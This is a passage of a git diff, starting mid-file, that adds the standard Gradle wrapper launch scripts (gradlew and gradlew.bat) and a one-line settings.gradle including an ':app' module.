the executables + JAVACMD="$JAVA_HOME/jre/sh/java" + else + JAVACMD="$JAVA_HOME/bin/java" + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD="java" + which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." +fi + +# Increase the maximum file descriptors if we can. +if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then + MAX_FD_LIMIT=`ulimit -H -n` + if [ $? -eq 0 ] ; then + if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then + MAX_FD="$MAX_FD_LIMIT" + fi + ulimit -n $MAX_FD + if [ $? -ne 0 ] ; then + warn "Could not set maximum file descriptor limit: $MAX_FD" + fi + else + warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" + fi +fi + +# For Darwin, add options to specify how the application appears in the dock +if $darwin; then + GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" +fi + +# For Cygwin, switch paths to Windows format before running java +if $cygwin ; then + APP_HOME=`cygpath --path --mixed "$APP_HOME"` + CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` + JAVACMD=`cygpath --unix "$JAVACMD"` + + # We build the pattern for arguments to be converted via cygpath + ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` + SEP="" + for dir in $ROOTDIRSRAW ; do + ROOTDIRS="$ROOTDIRS$SEP$dir" + SEP="|" + done + OURCYGPATTERN="(^($ROOTDIRS))" + # Add a user-defined pattern to the cygpath arguments + if [ "$GRADLE_CYGPATTERN" != "" ] ; then + OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" + fi + # Now convert the arguments - kludge to limit ourselves to /bin/sh + i=0 + for arg in "$@" ; do + CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` + CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option + + if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition + eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` + else + eval `echo args$i`="\"$arg\"" + fi + i=$((i+1)) + done + case $i in + (0) set -- ;; + (1) set -- "$args0" ;; + (2) set -- "$args0" "$args1" ;; + (3) set -- "$args0" "$args1" "$args2" ;; + (4) set -- "$args0" "$args1" "$args2" "$args3" ;; + (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; + (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; + (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; + (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; + (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; + esac +fi + +# Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules +function splitJvmOpts() { + JVM_OPTS=("$@") +} +eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS +JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME" + +exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@" diff --git a/gradlew.bat b/gradlew.bat new file mode 100644 index 0000000..aec9973 --- /dev/null +++ b/gradlew.bat @@ -0,0 +1,90 @@ +@if "%DEBUG%" == "" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS= + +set DIRNAME=%~dp0 +if "%DIRNAME%" == "" set DIRNAME=. +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if "%ERRORLEVEL%" == "0" goto init + +echo. +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto init + +echo. +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:init +@rem Get command-line arguments, handling Windowz variants + +if not "%OS%" == "Windows_NT" goto win9xME_args +if "%@eval[2+2]" == "4" goto 4NT_args + +:win9xME_args +@rem Slurp the command line arguments. +set CMD_LINE_ARGS= +set _SKIP=2 + +:win9xME_args_slurp +if "x%~1" == "x" goto execute + +set CMD_LINE_ARGS=%* +goto execute + +:4NT_args +@rem Get arguments from the 4NT Shell from JP Software +set CMD_LINE_ARGS=%$ + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% + +:end +@rem End local scope for the variables with windows NT shell +if "%ERRORLEVEL%"=="0" goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 +exit /b 1 + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/settings.gradle b/settings.gradle new file mode 100644 index 0000000..e7b4def --- /dev/null +++ b/settings.gradle @@ -0,0 +1 @@ +include ':app'